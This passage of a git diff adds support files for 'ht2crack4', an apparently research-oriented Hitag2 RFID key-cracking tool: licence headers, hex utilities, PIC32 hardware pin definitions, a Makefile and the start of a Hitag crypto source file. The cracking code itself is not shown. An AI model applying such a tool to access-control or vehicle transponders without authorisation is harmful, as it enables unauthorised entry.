provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + +#include +#include +#include "HardwareProfile.h" +#include "util.h" +#include "rfidler.h" +//#include "comms.h" + +// rtc +rtccTime RTC_time; // time structure +rtccDate RTC_date; // date structure + +// convert byte-reversed 8 digit hex to unsigned long +unsigned long hexreversetoulong(BYTE *hex) +{ + unsigned long ret= 0L; + unsigned int x; + BYTE i; + + if(strlen(hex) != 8) + return 0L; + + for(i= 0 ; i < 4 ; ++i) + { + if(sscanf(hex, "%2X", &x) != 1) + return 0L; + ret += ((unsigned long) x) << i * 8; + hex += 2; + } + return ret; +} + +// convert byte-reversed 12 digit hex to unsigned long +unsigned long long hexreversetoulonglong(BYTE *hex) +{ + unsigned long long ret= 0LL; + BYTE tmp[9]; + + // this may seem an odd way to do it, but weird compiler issues were + // breaking direct conversion! + + tmp[8]= '\0'; + memset(tmp + 4, '0', 4); + memcpy(tmp, hex + 8, 4); + ret= hexreversetoulong(tmp); + ret <<= 32; + memcpy(tmp, hex, 8); + ret += hexreversetoulong(tmp); + return ret; +} + + diff --git a/tools/hitag2crack/crack4/.gitignore b/tools/hitag2crack/crack4/.gitignore new file mode 100644 index 000000000..f7ca5917b --- /dev/null +++ b/tools/hitag2crack/crack4/.gitignore @@ -0,0 +1,3 @@ +ht2crack4 + +ht2crack4.exe diff --git a/tools/hitag2crack/crack4/HardwareProfile.h b/tools/hitag2crack/crack4/HardwareProfile.h new file mode 100644 index 000000000..a2f804be6 --- /dev/null +++ b/tools/hitag2crack/crack4/HardwareProfile.h @@ -0,0 +1,524 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + + +#ifndef HARDWARE_PROFILE_UBW32_H +#define HARDWARE_PROFILE_UBW32_H + +//#include "plib.h" +typedef char BOOL; +typedef char BYTE; +typedef int rtccTime; +typedef int rtccDate; + + +#ifndef __PIC32MX__ + #define __PIC32MX__ +#endif + +#define GetSystemClock() (80000000ul) +#define GetPeripheralClock() (GetSystemClock()) +#define GetInstructionClock() (GetSystemClock()) + +//#define USE_SELF_POWER_SENSE_IO +#define tris_self_power TRISAbits.TRISA2 // Input +#define self_power 1 + +//#define USE_USB_BUS_SENSE_IO +#define tris_usb_bus_sense TRISBbits.TRISB5 // Input +#define USB_BUS_SENSE 1 + +// LEDs +#define mLED_1 LATEbits.LATE3 + +#define mLED_2 LATEbits.LATE2 +#define mLED_Comms mLED_2 + +#define mLED_3 LATEbits.LATE1 +#define mLED_Clock mLED_3 + +#define mLED_4 LATEbits.LATE0 +#define mLED_Emulate mLED_4 + +#define mLED_5 LATGbits.LATG6 +#define mLED_Read mLED_5 + +#define mLED_6 LATAbits.LATA15 +#define mLED_User mLED_6 + +#define mLED_7 LATDbits.LATD11 +#define mLED_Error mLED_7 + +// active low +#define mLED_ON 0 +#define mLED_OFF 1 + +#define mGetLED_1() mLED_1 +#define mGetLED_USB() mLED_1 +#define mGetLED_2() mLED_2 +#define mGetLED_Comms() mLED_2 +#define mGetLED_3() mLED_3 +#define mGetLED_Clock() mLED_3 +#define mGetLED_4() mLED_4 +#define mGetLED_Emulate() mLED_4 +#define mGetLED_5() mLED_5 +#define mGetLED_Read() mLED_5 +#define mGetLED_6() mLED_6 +#define mGetLED_User() mLED_6 +#define mGetLED_7() mLED_7 +#define mGetLED_Error() mLED_7 + +#define mLED_1_On() mLED_1 = mLED_ON +#define mLED_USB_On() mLED_1_On() +#define mLED_2_On() mLED_2 = mLED_ON +#define mLED_Comms_On() mLED_2_On() +#define mLED_3_On() mLED_3 = mLED_ON +#define mLED_Clock_On() mLED_3_On() +#define mLED_4_On() mLED_4 = mLED_ON +#define mLED_Emulate_On() mLED_4_On() +#define mLED_5_On() mLED_5 = mLED_ON +#define mLED_Read_On() mLED_5_On() +#define mLED_6_On() mLED_6 = mLED_ON +#define mLED_User_On() mLED_6_On() +#define mLED_7_On() mLED_7 = mLED_ON +#define mLED_Error_On() mLED_7_On() + +#define mLED_1_Off() mLED_1 = mLED_OFF +#define mLED_USB_Off() mLED_1_Off() +#define mLED_2_Off() mLED_2 = mLED_OFF +#define mLED_Comms_Off() mLED_2_Off() +#define mLED_3_Off() mLED_3 = mLED_OFF +#define mLED_Clock_Off() mLED_3_Off() +#define mLED_4_Off() mLED_4 = mLED_OFF +#define mLED_Emulate_Off() mLED_4_Off() +#define mLED_5_Off() mLED_5 = mLED_OFF +#define mLED_Read_Off() mLED_5_Off() +#define mLED_6_Off() mLED_6 = mLED_OFF +#define mLED_User_Off() mLED_6_Off() +#define mLED_7_Off() mLED_7 = mLED_OFF +#define mLED_Error_Off() mLED_7_Off() + +#define mLED_1_Toggle() mLED_1 = !mLED_1 +#define mLED_USB_Toggle() mLED_1_Toggle() +#define mLED_2_Toggle() mLED_2 = !mLED_2 +#define mLED_Comms_Toggle() mLED_2_Toggle() +#define mLED_3_Toggle() mLED_3 = !mLED_3 +#define mLED_Clock_Toggle() mLED_3_Toggle() +#define mLED_4_Toggle() mLED_4 = !mLED_4 +#define mLED_Emulate_Toggle() mLED_4_Toggle() +#define mLED_5_Toggle() mLED_5 = !mLED_5 +#define mLED_Read_Toggle( ) mLED_5_Toggle() +#define mLED_6_Toggle() mLED_6 = !mLED_6 +#define mLED_User_Toggle() mLED_6_Toggle() +#define mLED_7_Toggle() mLED_7 = !mLED_7 +#define mLED_Error_Toggle() mLED_7_Toggle() + +#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); } +#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); } + +// usb status lights +#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();} +#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();} +#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();} +#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();} + +/** SWITCH *********************************************************/ +#define swBootloader PORTEbits.RE7 +#define swUser PORTEbits.RE6 + +/** I/O pin definitions ********************************************/ +#define INPUT_PIN 1 +#define OUTPUT_PIN 0 + +#define TRUE 1 +#define FALSE 0 + +#define ENABLE 1 +#define DISABE 0 + +#define EVEN 0 +#define ODD 1 + +#define LOW FALSE +#define HIGH TRUE + +#define CLOCK_ON LOW +#define CLOCK_OFF HIGH + +// output coil control - select between reader/emulator circuits +#define COIL_MODE LATBbits.LATB4 +#define COIL_MODE_READER() COIL_MODE= LOW +#define COIL_MODE_EMULATOR() COIL_MODE= HIGH + +// coil for emulation +#define COIL_OUT LATGbits.LATG9 +#define COIL_OUT_HIGH() COIL_OUT=HIGH +#define COIL_OUT_LOW() COIL_OUT=LOW + +// door relay (active low) +#define DOOR_RELAY LATAbits.LATA14 +#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH +#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW + +// inductance/capacitance freq +#define IC_FREQUENCY PORTAbits.RA2 + +#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect +#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue +#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue +#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue + +// clock coil (normally controlled by OC Module, but defined here so we can force it high or low) +#define CLOCK_COIL PORTDbits.RD4 +#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire + +// digital output after analogue reader circuit +#define READER_DATA PORTDbits.RD8 + +// trace / debug +#define DEBUG_PIN_1 LATCbits.LATC1 +#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1 +#define DEBUG_PIN_2 LATCbits.LATC2 +#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2 +#define DEBUG_PIN_3 LATCbits.LATC3 +#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3 +#define DEBUG_PIN_4 LATEbits.LATE5 +#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4 + +// spi (sdi1) for sd card (not directly referenced) +//#define SD_CARD_RX LATCbits.LATC4 +//#define SD_CARD_TX LATDbits.LATD0 +//#define SD_CARD_CLK LATDbits.LATD10 +//#define SD_CARD_SS LATDbits.LATD9 +// spi for SD card +#define SD_CARD_DET LATFbits.LATF0 +#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it + // (held LOW by default - cut solder bridge to GND to free pin if required) +#define SPI_SD SPI_CHANNEL1 +#define SPI_SD_BUFF SPI1BUF +#define SPI_SD_STAT SPI1STATbits +// see section below for more defines! + +// iso 7816 smartcard +// microchip SC module defines pins so we don't need to, but +// they are listed here to help avoid conflicts +#define ISO_7816_RX LATBbits.LATF2 // RX +#define ISO_7816_TX LATBbits.LATF8 // TX +#define ISO_7816_VCC LATBbits.LATB9 // Power +#define ISO_7816_CLK LATCbits.LATD1 // Clock +#define ISO_7816_RST LATEbits.LATE8 // Reset + +// user LED +#define USER_LED LATDbits.LATD7 +#define USER_LED_ON() LATDbits.LATD7=1 +#define USER_LED_OFF() LATDbits.LATD7=0 + +// LCR +#define LCR_CALIBRATE LATBbits.LATB5 + +// wiegand / clock & data +#define WIEGAND_IN_0 PORTDbits.RD5 +#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14 +#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14 +#define WIEGAND_IN_1 PORTDbits.RD6 +#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15 +#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15 +#define CAND_IN_DATA WIEGAND_IN_0 +#define CAND_IN_CLOCK WIEGAND_IN_1 + +#define WIEGAND_OUT_0 LATDbits.LATD3 +#define WIEGAND_OUT_1 LATDbits.LATD2 +#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3 +#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2 +#define CAND_OUT_DATA WIEGAND_OUT_0 +#define CAND_OUT_CLOCK WIEGAND_OUT_1 + +// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier +#define READER_CLOCK_ENABLE LATEbits.LATE9 +#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON +#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;} + +// these input pins must NEVER bet set to output or they will cause short circuits! +// they can be used to see data from reader before it goes into or gate +#define OR_IN_A PORTAbits.RA4 +#define OR_IN_B PORTAbits.RA5 + + +// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on +#define Init_GPIO() { \ + CNCONbits.ON= TRUE; \ + CNENbits.CNEN14= TRUE; \ + CNENbits.CNEN15= TRUE; \ + TRISAbits.TRISA2= INPUT_PIN; \ + TRISAbits.TRISA4= INPUT_PIN; \ + TRISAbits.TRISA5= INPUT_PIN; \ + TRISAbits.TRISA14= OUTPUT_PIN; \ + TRISAbits.TRISA15= OUTPUT_PIN; \ + TRISBbits.TRISB4= OUTPUT_PIN; \ + TRISBbits.TRISB5= OUTPUT_PIN; \ + TRISBbits.TRISB9= OUTPUT_PIN; \ + TRISBbits.TRISB11= INPUT_PIN; \ + TRISBbits.TRISB12= INPUT_PIN; \ + TRISBbits.TRISB13= INPUT_PIN; \ + TRISCbits.TRISC1= OUTPUT_PIN; \ + TRISCbits.TRISC2= OUTPUT_PIN; \ + TRISCbits.TRISC3= OUTPUT_PIN; \ + TRISCbits.TRISC4= INPUT_PIN; \ + TRISDbits.TRISD0= INPUT_PIN; \ + TRISDbits.TRISD1= OUTPUT_PIN; \ + TRISDbits.TRISD2= OUTPUT_PIN; \ + TRISDbits.TRISD3= OUTPUT_PIN; \ + TRISDbits.TRISD4= OUTPUT_PIN; \ + TRISDbits.TRISD5= INPUT_PIN; \ + TRISDbits.TRISD6= INPUT_PIN; \ + TRISDbits.TRISD7= OUTPUT_PIN; \ + TRISDbits.TRISD8= INPUT_PIN; \ + TRISDbits.TRISD11= OUTPUT_PIN; \ + TRISDbits.TRISD12= INPUT_PIN; \ + TRISEbits.TRISE0= OUTPUT_PIN; \ + TRISEbits.TRISE1= OUTPUT_PIN; \ + TRISEbits.TRISE2= OUTPUT_PIN; \ + TRISEbits.TRISE3= OUTPUT_PIN; \ + TRISEbits.TRISE5= OUTPUT_PIN; \ + TRISEbits.TRISE6= INPUT_PIN; \ + TRISEbits.TRISE7= INPUT_PIN; \ + TRISEbits.TRISE8= OUTPUT_PIN; \ + TRISEbits.TRISE9= OUTPUT_PIN; \ + TRISFbits.TRISF0= INPUT_PIN; \ + TRISFbits.TRISF1= INPUT_PIN; \ + TRISFbits.TRISF2= INPUT_PIN; \ + TRISFbits.TRISF8= OUTPUT_PIN; \ + TRISGbits.TRISG6= OUTPUT_PIN; \ + TRISGbits.TRISG12= INPUT_PIN; \ + TRISGbits.TRISG13= INPUT_PIN; \ + TRISGbits.TRISG9= OUTPUT_PIN; \ + LATBbits.LATB9= LOW; \ + LATCbits.LATC1= LOW; \ + LATCbits.LATC2= LOW; \ + LATCbits.LATC3= LOW; \ + LATDbits.LATD2= WIEGAND_IN_1; \ + LATDbits.LATD3= WIEGAND_IN_0; \ + LATEbits.LATE5= LOW; \ + LATEbits.LATE9= HIGH; \ + } + +// uart3 (CLI/API) speed +#define BAUDRATE3 115200UL +#define BRG_DIV3 4 +#define BRGH3 1 + +// spi for potentiometer +#define SPI_POT SPI_CHANNEL4 +#define SPI_POT_BUFF SPI4BUF +#define SPI_POT_STAT SPI4STATbits + +// spi for sd card - defines required for Microchip SD-SPI libs +// define interface type +#define USE_SD_INTERFACE_WITH_SPI + +#define MDD_USE_SPI_1 +#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON) +#define SPI_START_CFG_2 (SPI_ENABLE) +// Define the SPI frequency +#define SPI_FREQUENCY (20000000) +// Description: SD-SPI Card Detect Input bit +#define SD_CD PORTFbits.RF0 +// Description: SD-SPI Card Detect TRIS bit +#define SD_CD_TRIS TRISFbits.TRISF0 +// Description: SD-SPI Write Protect Check Input bit +#define SD_WE PORTFbits.RF1 +// Description: SD-SPI Write Protect Check TRIS bit +#define SD_WE_TRIS TRISFbits.TRISF1 +// Description: The main SPI control register +#define SPICON1 SPI1CON +// Description: The SPI status register +#define SPISTAT SPI1STAT +// Description: The SPI Buffer +#define SPIBUF SPI1BUF +// Description: The receive buffer full bit in the SPI status register +#define SPISTAT_RBF SPI1STATbits.SPIRBF +// Description: The bitwise define for the SPI control register (i.e. _____bits) +#define SPICON1bits SPI1CONbits +// Description: The bitwise define for the SPI status register (i.e. _____bits) +#define SPISTATbits SPI1STATbits +// Description: The enable bit for the SPI module +#define SPIENABLE SPICON1bits.ON +// Description: The definition for the SPI baud rate generator register (PIC32) +#define SPIBRG SPI1BRG +// Description: The TRIS bit for the SCK pin +#define SPICLOCK TRISDbits.TRISD10 +// Description: The TRIS bit for the SDI pin +#define SPIIN TRISCbits.TRISC4 +// Description: The TRIS bit for the SDO pin +#define SPIOUT TRISDbits.TRISD0 +#define SD_CS LATDbits.LATD9 +// Description: SD-SPI Chip Select TRIS bit +#define SD_CS_TRIS TRISDbits.TRISD9 +//SPI library functions +#define putcSPI putcSPI1 +#define getcSPI getcSPI1 +#define OpenSPI(config1, config2) OpenSPI1(config1, config2) + +// Define setup parameters for OpenADC10 function +// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample +#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON) +// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode +#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) + +// Use ADC internal clock | Set sample time +#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0) + +// slow sample rate for tuning coils +#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) +#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31) + +// use AN11 +#define ADC_CONFIGPORT ENABLE_AN11_ANA +// Do not assign channels to scan +#define ADC_CONFIGSCAN SKIP_SCAN_ALL + +#define ADC_TO_VOLTS 0.003208F + + +// flash memory - int myvar = *(int*)(myflashmemoryaddress); + +// memory is 0x9D005000 to 0x9D07FFFF + +#define NVM_MEMORY_END 0x9D07FFFF +#define NVM_PAGE_SIZE 4096 +#define NVM_PAGES 2 // config & VTAG +#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES)) + +// UART timeout in us +#define SERIAL_TIMEOUT 100 + +#endif diff --git a/tools/hitag2crack/crack4/Makefile b/tools/hitag2crack/crack4/Makefile new file mode 100644 index 000000000..82e7f2560 --- /dev/null +++ b/tools/hitag2crack/crack4/Makefile @@ -0,0 +1,20 @@ +WARN=-Wall +CFLAGS=-c $(WARN) $(INCLUDE) +LIBS=-lpthread + +all: ht2crack4.c HardwareProfile.h rfidler.h util.h utilpart.o hitagcrypto.o ht2crack2utils.o + cc $(WARN) -o ht2crack4 ht2crack4.c utilpart.o hitagcrypto.o ht2crack2utils.o $(LIBS) + +utilpart.o: utilpart.c util.h + cc $(CFLAGS) utilpart.c + +hitagcrypto.o: hitagcrypto.c hitagcrypto.h + cc $(CFLAGS) hitagcrypto.c + +ht2crack2utils.o: ht2crack2utils.c ht2crack2utils.h + cc $(CFLAGS) ht2crack2utils.c + +clean: + rm -rf *.o ht2crack4 + +fresh: clean all diff --git a/tools/hitag2crack/crack4/hitagcrypto.c b/tools/hitag2crack/crack4/hitagcrypto.c new file mode 100644 index 000000000..422efbe92 --- /dev/null +++ b/tools/hitag2crack/crack4/hitagcrypto.c @@ -0,0 +1,485 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + +// uncomment this to build file as a standalone crypto test program +// #define UNIT_TEST +// also uncomment to include verbose debug prints +// #define TEST_DEBUG + +//#include +#include "HardwareProfile.h" +#include "rfidler.h" +#include "hitagcrypto.h" +#include "util.h" + +#ifdef UNIT_TEST +#include +#endif + +#if defined(UNIT_TEST) && defined(TEST_DEBUG) +// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++. +// This may need changing for other compilers/platforms. +#define DEBUG_PRINTF(...) printf(__VA_ARGS__) +#else +#define DEBUG_PRINTF(...) +#endif + + +/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu) + + Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft + fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications. + At about the same time, late 1980s to early 1990s, Mikron developed the 